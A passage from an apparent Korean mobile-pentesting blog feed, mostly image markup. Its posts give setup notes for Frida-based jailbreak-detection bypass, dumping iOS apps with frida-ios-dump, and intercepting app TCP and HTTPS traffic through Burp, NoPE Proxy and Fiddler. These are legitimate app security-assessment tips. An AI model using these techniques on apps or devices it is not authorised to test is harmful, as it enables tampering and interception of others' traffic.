  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l2kKD/btszDRoShVj/gejecDkCgPREtFT9PqnKk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l2kKD/btszDRoShVj/gejecDkCgPREtFT9PqnKk1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (16).png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l2kKD/btszDRoShVj/gejecDkCgPREtFT9PqnKk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl2kKD%2FbtszDRoShVj%2FgejecDkCgPREtFT9PqnKk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vXGyV/btszFGUZp1R/naGILvFtGZMkkuG3wuJIv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vXGyV/btszFGUZp1R/naGILvFtGZMkkuG3wuJIv1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (17).png&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vXGyV/btszFGUZp1R/naGILvFtGZMkkuG3wuJIv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvXGyV%2FbtszFGUZp1R%2FnaGILvFtGZMkkuG3wuJIv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RootHide 트윅의 경우 RootHide dopamine에서만 나타나고 탈옥 탐지 우회를 더 강하게 해준다는데 우선 한번 더 확인이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한가지 조심해야할 점은 frida를 직접 앱에 붙이기 위해서는 Pid로 붙어야지 패키지명으로 하면 자체 탈옥 탐지 우회 기능떄문에 앱 연결이 끊겨 frida가 작동하질 않는다.&lt;/p&gt;</description>
      <category>APP 모의해킹/iOS</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/90</guid>
      <comments>https://tyrell96.tistory.com/90#entry90comment</comments>
      <pubDate>Fri, 3 Nov 2023 15:14:37 +0900</pubDate>
    </item>
    <item>
      <title>Android TCP 통신 패킷 잡기</title>
      <link>https://tyrell96.tistory.com/89</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;가끔 TCP 통신하는 앱의 경우 해당 패킷을 잡기 위해 Burp 에서 제공하는 NoPE Proxy를 사용해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가장 먼저 Burp 인증서가 단말기 내에 존재해야하니 명심할 것.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp &amp;gt; Extensions &amp;gt; BAPP Store &amp;gt; 검색창에 NoPE Proxy 검색 후 설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 그림과 같이 세팅 우측 상단 Interface는 IP 설정을 위한 번호이다. 하단 12) wlan1 :192.168.0.17 즉 아이피에 번호를 매겨 쉽게 DNS IP를 설정하는 곳이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;interface 는 12로 세팅 그리고 add 80 &amp;amp; 443 to Burp 를 눌러 80,443 포트로 리스너로 설정해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;641&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biy2ch/btsnqfn4qT9/Pdpx1qpKl9z2nYzbV7YyO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biy2ch/btsnqfn4qT9/Pdpx1qpKl9z2nYzbV7YyO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biy2ch/btsnqfn4qT9/Pdpx1qpKl9z2nYzbV7YyO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbiy2ch%2Fbtsnqfn4qT9%2FPdpx1qpKl9z2nYzbV7YyO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1083&quot; height=&quot;641&quot; data-origin-width=&quot;1083&quot; data-origin-height=&quot;641&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;Proxy listeners 세팅&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;692&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bh2po9/btsnpU5khXh/q4lYRiqMgHtEbiFXkciRzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bh2po9/btsnpU5khXh/q4lYRiqMgHtEbiFXkciRzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bh2po9/btsnpU5khXh/q4lYRiqMgHtEbiFXkciRzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbh2po9%2FbtsnpU5khXh%2Fq4lYRiqMgHtEbiFXkciRzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1158&quot; height=&quot;692&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;692&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 아래와같이 단말기 세팅이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;적어 놓은 대로 세팅해 놓으면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;895&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TBxXg/btsnuZdFV3q/p2XTUQrGL1SjpuVFnQodW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TBxXg/btsnuZdFV3q/p2XTUQrGL1SjpuVFnQodW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TBxXg/btsnuZdFV3q/p2XTUQrGL1SjpuVFnQodW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTBxXg%2FbtsnuZdFV3q%2Fp2XTUQrGL1SjpuVFnQodW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;363&quot; height=&quot;708&quot; data-origin-width=&quot;459&quot; data-origin-height=&quot;895&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자의 경우 프록시도 같이 아래와 같이 세팅하니 패킷이 잡혔으니 이점도 유의하자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;944&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8qWfF/btsnvX7fXyw/VktVMnTKwVGcHXadbgCnKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8qWfF/btsnvX7fXyw/VktVMnTKwVGcHXadbgCnKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8qWfF/btsnvX7fXyw/VktVMnTKwVGcHXadbgCnKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8qWfF%2FbtsnvX7fXyw%2FVktVMnTKwVGcHXadbgCnKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;374&quot; height=&quot;771&quot; data-origin-width=&quot;458&quot; data-origin-height=&quot;944&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 이제 TCP 패킷이 잡힐 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얘 때문에 하루를 여기다가 다 써서 진이 빠진다.&lt;/p&gt;</description>
      <category>APP 모의해킹/Android</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/89</guid>
      <comments>https://tyrell96.tistory.com/89#entry89comment</comments>
      <pubDate>Thu, 13 Jul 2023 15:19:06 +0900</pubDate>
    </item>
    <item>
      <title>frida-ios-dump Winerror</title>
      <link>https://tyrell96.tistory.com/88</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 frida-ios-dump를 사용하는데 계쏙 Winerror 2가 떠서 앱 덤프가 안됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 대한 해결방안에 대해서 적도록한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[WinError&amp;nbsp;2]&amp;nbsp;지정된&amp;nbsp;파일을&amp;nbsp;찾을&amp;nbsp;수&amp;nbsp;없습니다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PermissionError:&amp;nbsp;[WinError&amp;nbsp;5]&amp;nbsp;액세스가&amp;nbsp;거부되었습니다&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 2개의 에러의 경우 윈도우에서 리눅스 명령어를 사용하다보니 에러가 발생하는 거라서 윈도우에서 리눅스 명령어 사용을 하게 해주는 프로그램만 설치하면된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 링크로 들어가 &lt;a style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot; href=&quot;https://github.com/bmatzelle/gow/releases/download/v0.8.0/Gow-0.8.0.exe&quot; data-turbo=&quot;false&quot; data-view-component=&quot;true&quot;&gt;&lt;span data-view-component=&quot;true&quot;&gt;Gow-0.8.0.exe&lt;/span&gt;&lt;/a&gt; 설치할것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/bmatzelle/gow/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/bmatzelle/gow/releases&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1689130190254&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Releases &amp;middot; bmatzelle/gow&quot; data-og-description=&quot;Unix command line utilities installer for Windows. - bmatzelle/gow&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/bmatzelle/gow/releases&quot; data-og-url=&quot;https://github.com/bmatzelle/gow/releases&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/AsX3U/hyTgPZfa7e/vmZBMDHrceeURCXXa8Z0EK/img.png?width=1200&amp;amp;height=600&amp;amp;face=973_140_1063_239&quot;&gt;&lt;a href=&quot;https://github.com/bmatzelle/gow/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/bmatzelle/gow/releases&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/AsX3U/hyTgPZfa7e/vmZBMDHrceeURCXXa8Z0EK/img.png?width=1200&amp;amp;height=600&amp;amp;face=973_140_1063_239');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Releases &amp;middot; bmatzelle/gow&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Unix command line utilities installer for Windows. - bmatzelle/gow&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가적으로 해결안된다면 기존에 payload 파일이 삭제되지 않아서 에러가 뜨는거기 떄문에 아래 경로로 가서 payload 폴더를 삭제한다.&lt;/p&gt;
&lt;pre id=&quot;code_1689130270169&quot; class=&quot;taggerscript&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;C:\Users\[사용자 이름]\AppData\Local\Temp&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 이마저도 안된다면 dump.py 내 해당 경로를 지정하는 코드가 있는데 이런식으로 내가 만든 폴더에 payload 파일이 저장되도록해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TEMP_DIR&amp;nbsp;=&amp;nbsp;&quot;C:\\Users\\Tyrell\\Desktop\\dump&quot;&lt;/p&gt;</description>
      <category>APP 모의해킹</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/88</guid>
      <comments>https://tyrell96.tistory.com/88#entry88comment</comments>
      <pubDate>Wed, 12 Jul 2023 12:03:48 +0900</pubDate>
    </item>
    <item>
      <title>Burp Fiddler 연동</title>
      <link>https://tyrell96.tistory.com/87</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.telerik.com/download/fiddler&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.telerik.com/download/fiddler&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1688977391780&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Download Fiddler Web Debugging Tool for Free by Telerik&quot; data-og-description=&quot;Download and install Fiddler Classic web debugging tool. Watch a quick tutorial to get started.&quot; data-og-host=&quot;www.telerik.com&quot; data-og-source-url=&quot;https://www.telerik.com/download/fiddler&quot; data-og-url=&quot;https://www.telerik.com/download/fiddler&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bL400p/hyTgStAMZE/y2Bfin758gwxk67boDm6Tk/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/g9LEO/hyTgYtOxLN/vpqZThfOxQ9HdRvKkjwBs1/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/Mfkmo/hyTgXPc2G7/ItjwFVHHGZKrMxm8Ak2iIK/img.png?width=1920&amp;amp;height=796&amp;amp;face=0_0_1920_796&quot;&gt;&lt;a href=&quot;https://www.telerik.com/download/fiddler&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.telerik.com/download/fiddler&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bL400p/hyTgStAMZE/y2Bfin758gwxk67boDm6Tk/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/g9LEO/hyTgYtOxLN/vpqZThfOxQ9HdRvKkjwBs1/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/Mfkmo/hyTgXPc2G7/ItjwFVHHGZKrMxm8Ak2iIK/img.png?width=1920&amp;amp;height=796&amp;amp;face=0_0_1920_796');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Download Fiddler Web Debugging Tool for Free by Telerik&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Download and install Fiddler Classic web debugging tool. Watch a quick tutorial to get started.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.telerik.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모바일 진단할 때 Burp를 이용하여 패킷을 확인하는데 특정 앱의 경우 통신 시간이 너무 오래 걸리는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 문제인지는 모르겠지만 해당 문제는 Burp와 모바일 사이에 Fiddler를 연동시켜주면 해결이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 피들러를 다운받고 설치해준다. 그 후 Options 접속&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1155&quot; data-origin-height=&quot;712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmzBX3/btsm8OciLkn/eUe50SPtn6fZy4vFEfVLXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmzBX3/btsm8OciLkn/eUe50SPtn6fZy4vFEfVLXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmzBX3/btsm8OciLkn/eUe50SPtn6fZy4vFEfVLXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmzBX3%2Fbtsm8OciLkn%2FeUe50SPtn6fZy4vFEfVLXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1155&quot; height=&quot;712&quot; data-origin-width=&quot;1155&quot; data-origin-height=&quot;712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTPS 옵션에서 Decrypt HTTPS traffic, Ignore server certificate errors, check for certificate revocation 을 체크 해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하는 도중에 경고 뜨는게 좀 있을 텐데 다 YES로 진행&amp;nbsp; &amp;larr;해당과정은 HTTPS 통신하는 패킷을 잡기 위해서 필수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;496&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QNVYA/btsm9gzzq7e/XQNoldRjY87UFd8h8rcF1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QNVYA/btsm9gzzq7e/XQNoldRjY87UFd8h8rcF1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QNVYA/btsm9gzzq7e/XQNoldRjY87UFd8h8rcF1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQNVYA%2Fbtsm9gzzq7e%2FXQNoldRjY87UFd8h8rcF1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;964&quot; height=&quot;496&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 Actions에서 Trust Root Certificate도 YES 해서 인증서를 해당 PC에 설치해 준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1152&quot; data-origin-height=&quot;710&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2HPVN/btsm2IKIrAT/ROkXbgI69CwsmPvQhihkE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2HPVN/btsm2IKIrAT/ROkXbgI69CwsmPvQhihkE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2HPVN/btsm2IKIrAT/ROkXbgI69CwsmPvQhihkE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2HPVN%2Fbtsm2IKIrAT%2FROkXbgI69CwsmPvQhihkE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1152&quot; height=&quot;710&quot; data-origin-width=&quot;1152&quot; data-origin-height=&quot;710&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Connections 부분도 아래와 같이 세팅 여기까지 진행 후 설정 적용을 위해 껐다가 다시 피들러 실행할 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1151&quot; data-origin-height=&quot;712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD7brq/btsnaLFF4Zn/hKq3vt6N8SsuYSyH2dYJh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD7brq/btsnaLFF4Zn/hKq3vt6N8SsuYSyH2dYJh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD7brq/btsnaLFF4Zn/hKq3vt6N8SsuYSyH2dYJh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD7brq%2FbtsnaLFF4Zn%2FhKq3vt6N8SsuYSyH2dYJh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1151&quot; height=&quot;712&quot; data-origin-width=&quot;1151&quot; data-origin-height=&quot;712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 단말기에서 Fiddler 인증서를 설치해야한다. Proxy 설정을 아래와 같이 진행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 서버 IP의 경우 진행중인 PC의 아이피로 진행해야하고 같은 네트워크 상에 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;532&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XbfFl/btsm7xB6KV1/QbNbKrawQYQtQOkkdF005K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XbfFl/btsm7xB6KV1/QbNbKrawQYQtQOkkdF005K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XbfFl/btsm7xB6KV1/QbNbKrawQYQtQOkkdF005K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXbfFl%2Fbtsm7xB6KV1%2FQbNbKrawQYQtQOkkdF005K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;532&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;532&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음에 단말기에서 해당 https://192.168.0.17:8888 로 접속 후 certificate를 설치해 준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ios 에서는 사파리로 들어가야 해당 인증서가 깔리니 크롬으로 들어가지 말 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;300&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfD5BQ/btsm4CqbouE/Lm7tpmBwfEF7g9KAc9LmHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfD5BQ/btsm4CqbouE/Lm7tpmBwfEF7g9KAc9LmHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfD5BQ/btsm4CqbouE/Lm7tpmBwfEF7g9KAc9LmHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfD5BQ%2Fbtsm4CqbouE%2FLm7tpmBwfEF7g9KAc9LmHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;536&quot; 